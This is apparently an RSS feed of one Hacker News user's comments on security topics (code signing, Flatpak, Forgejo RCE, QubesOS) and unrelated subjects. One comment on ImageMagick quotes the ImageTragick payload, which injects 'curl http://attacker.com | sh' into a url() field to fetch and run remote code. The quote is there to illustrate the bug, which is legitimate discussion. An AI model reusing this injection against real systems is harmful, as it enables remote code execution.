<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Hacker News: msm_</title><link>https://news.ycombinator.com/user?id=msm_</link><description>Hacker News RSS</description><docs>https://hnrss.org/</docs><generator>hnrss v2.1.1</generator><lastBuildDate>Wed, 21 Oct 2026 09:25:34 +0000</lastBuildDate><atom:link href="https://hnrss.org/user?id=msm_" rel="self" type="application/rss+xml"></atom:link><item><title><![CDATA[New comment by msm_ in "eMudhra intermediate CA compromise"]]></title><description><![CDATA[
<p>Why is that a way bigger problem? Windows will happily run unsigned binaries. Code signing just decreases the friction for users slightly, but is in no way required. TLS is definitely a way bigger problem.</p>
]]></description><pubDate>Tue, 20 Oct 2026 18:46:48 +0000</pubDate><link>https://news.ycombinator.com/item?id=50170834</link><dc:creator>msm_</dc:creator><comments>https://news.ycombinator.com/item?id=50170834</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=50170834</guid></item><item><title><![CDATA[New comment by msm_ in "Flatpak – An Insecurity Nightmare (2023)"]]></title><description><![CDATA[
<p>I don't get what you mean. If you save a credit card number in your browser (or a password, or a cookie) it's available, by default, to any other program running as your user. So a random calculator can easily steal your credit card, passwords, cookies, ssh keys, keepass database, gpg private key, and more.</p>
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<p>I don't think this is the crux of the matter. Programming newbies are not scared of C/C++ because of std::unique_ptr<T>. They are scared of three-star programmers, of intrusive lists, of clever packed data structures - in short, of pointer arithmetic. Java, Python and JavaScript don't allow that, so it's hard to compare them (that's why we distinguish between "pointer" and "reference", even though in practice they are exactly the same thing under the hood, of course).</p>
]]></description><pubDate>Mon, 19 Oct 2026 22:18:16 +0000</pubDate><link>https://news.ycombinator.com/item?id=50158812</link><dc:creator>msm_</dc:creator><comments>https://news.ycombinator.com/item?id=50158812</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=50158812</guid></item><item><title><![CDATA[New comment by msm_ in "I no longer care to work on any Ruby gems so I've archived all my repositories"]]></title><description><![CDATA[
<p>I felt inspired by this, and removed all my Github projects (except a few that people may depend on, which I just archived).</p>
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<p>>My father (...) tries to use his iPad as a PC (...) He's mostly on the iPad + keyboard because it's a nicely managed device update-wise and "what I can install"-wise, virus-wise. (...) But I recent told him: Just give up<p>Since he apparently wants a PC, isn't the logical conclusion the opposite? "Just give up. Buy a Windows/Linux laptop, you are too dependent on Apple, there is always something with the Apple solutions."</p>
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<p>Many of the imagemagick bugs (in fact, most imagemagick bugs I remember as a former CTF player) are a logic bugs, where external program was invoked with improper sanitisation. Rewriting the code into a memory safe language is not a panacea and would not help.<p>Famously, ImageTragick was just "fill 'url(<a href="https://example.com" rel="nofollow">https://example.com</a>"; curl <a href="http://attacker.com" rel="nofollow">http://attacker.com</a> | sh ")'"</p>
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<p>Is it really better for day to day life? I am certain that it only appears so because you're used to it. I think for day to day life they're both roughly equivalent.<p>Of course, for me Celsius is more natural and intuitive, but again - that's because I'm used to it.</p>
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<p>In home environment: no, because Windows Defender is pretty good now. Some people install other antimalware solutions, but there's no great reason to do it.<p>In enterprise environment: definitely, for both compliance, management and actual security reasons.</p>
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<p>Maybe they actually <i>do</i> know their audience, and HN crowd is just... not that audience? I am pretty sure most people have no idea what's wrong with Norton, and the name just sounds vaguely like cybersecurity.</p>
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<p>>So if you don't create new repos from mystery meat template repos, you should be ok.<p>You should be OK, but if attacker takes over your user (or any user in your forgejo instance) they can execute code on the host server - as you said yourself. In other words, it allows them to achieve remote code execution, so it's a RCE.</p>
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<p>They could, and this is definitely a RCE (a Remote Code Execution) vulnerability. GP confusion stems from the fact, that you (the forgejo user) must execute this attack on "your" instance. But of course the problem is that forgejo user can, in fact, be malicious, and use this vulnerability to escalate their priviliges from user to server.<p>It can't be done without authenticating first, but there's nothing about RCE that says that it must be sent from unauthenticated connection.</p>
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<p>You overthink this. Participating in HN is in no way like democratic voting. And sometimes it is my (or yours) comment that is the problem.<p>Let's not pretend that 90% of HN comments are world-changing. Maybe you are different, but a lot of my would-be comments are knee-jerk reactions that won't actually bring anything substantial to the discussion. Often in political comment chains. Yes, I <i>feel</i> I'm right, but it's still probably not worth posting. I really think that sometimes stopping before posting is better for everyone involved.<p>I also have well thought comments, where I share my thoughts on things I'm an expert in. I do post them. But a lot of the comments is not really that valuable.<p>>comments I spent literal hours on[2]<p>It may make you feel better that I saw both of your posts before (I may spend too much time on HN). They are good, though a bit verbose - maybe this intimidates people. But in this case I agree with GP - if I was spending literal hours responding to comments here I should definitely stop myself.</p>
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<p>That was not the issue pointed by GP. They noted that the comparison was between two companies, a whole industry.<p>>That’s a weird comparaison between one or two brand and "an industry".<p>In other words, Impossible and Beyond are not the only companies in meat replacement space. They are probably the largest, but comparing them to the whole industry makes no sense.</p>
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<p>What <i>is</i> a burger? If it looks like a burger and tastes like a burger I'm fine with calling it a burger. Nobody complains about halloumi burgers. Why is "coconut milk" OK, but "soy milk" is not? Blood sausage has nothing similar with the regular sausage. Hey, there are people who put pineapple on dough and call it "pizza"[1]. I agree that industries should not be able to intentionally mislead people, but informing customers was not the primary motivation behind those laws - protecting existing monopolies was.<p>[1] Relax, I'm joking.</p>
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<p>It may be perfectly clear to you. For me (a non-native speaker) reading the first verse required a significant focus and I still didn't get what the author meant (only the general vibes).<p>The second verse was immediately clear.</p>
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<p>IRGC, Hamas, Hizballah and maybe others are far right organizations, so I don't think this is purely left/right.<p>And what about signal? I am pretty sure many violent/terrorist groups use it too.<p>I don't have an opinion about this group, because I didn't even know it existed. But, like often with things related to the free speech, I think this topic is more complex than you make it out to be.</p>
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<p>>But eventually you'll need to put down a credit card on file to buy a domain, and that domain needs to be owned by somebody.<p>You don't need to pay to host onion websites (.onion domains are free and have no central registry). Though that of course really limits the possible outreach, because most people are not used to browsing onionsites.</p>
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<p>>Yeah, and by the time you get to many of those games they will feel clunky and outdated.<p>I don't agree with what you wrote literally (I almost exclusively play old and old-ish games, and I have fun), but:<p>>Path of Exile is a 2013 free-to-play action role-playing video game developed and published by Grinding Gear Games<p>I'm confused. Why is your example of a modern game is a game from 2013? Most people's backlog is probably shorter than 13 years, so if 13 year old games are fine then I'm not sure that contradicts OPs point.</p>
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<p>Wow, this is serious. Makes you think, that even though QubesOS attack surface is so tiny (well-designed to be secure) there are still vulnerabilities to be found.<p>Worth noting that (as I understand) this vulnerability occurs only when doing copy-to-VM from Dom0:<p>>Note that the VM variant of `qvm-copy-to-vm` is not affected, as its
version of the error reporting function does not use `system()`:<p>Since you should not use Dom0 for regular work, and definitely not for interacting with likely-to-be-infected VMs, the scope of this attack is smaller than it sounds. On the flip side, when it works, it elevates privileges straight to Dom0.</p>
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<p>>Nobody likes self-checkout lines, but they’re “automated.”<p>I strongly prefer self-checkout. If self-checkout is available, I will use it. Most people I know have the same preference (to varying degrees, I am a bit extreme in that I will wait for self-checkout even if normal checkout is open and there is no queue).</p>
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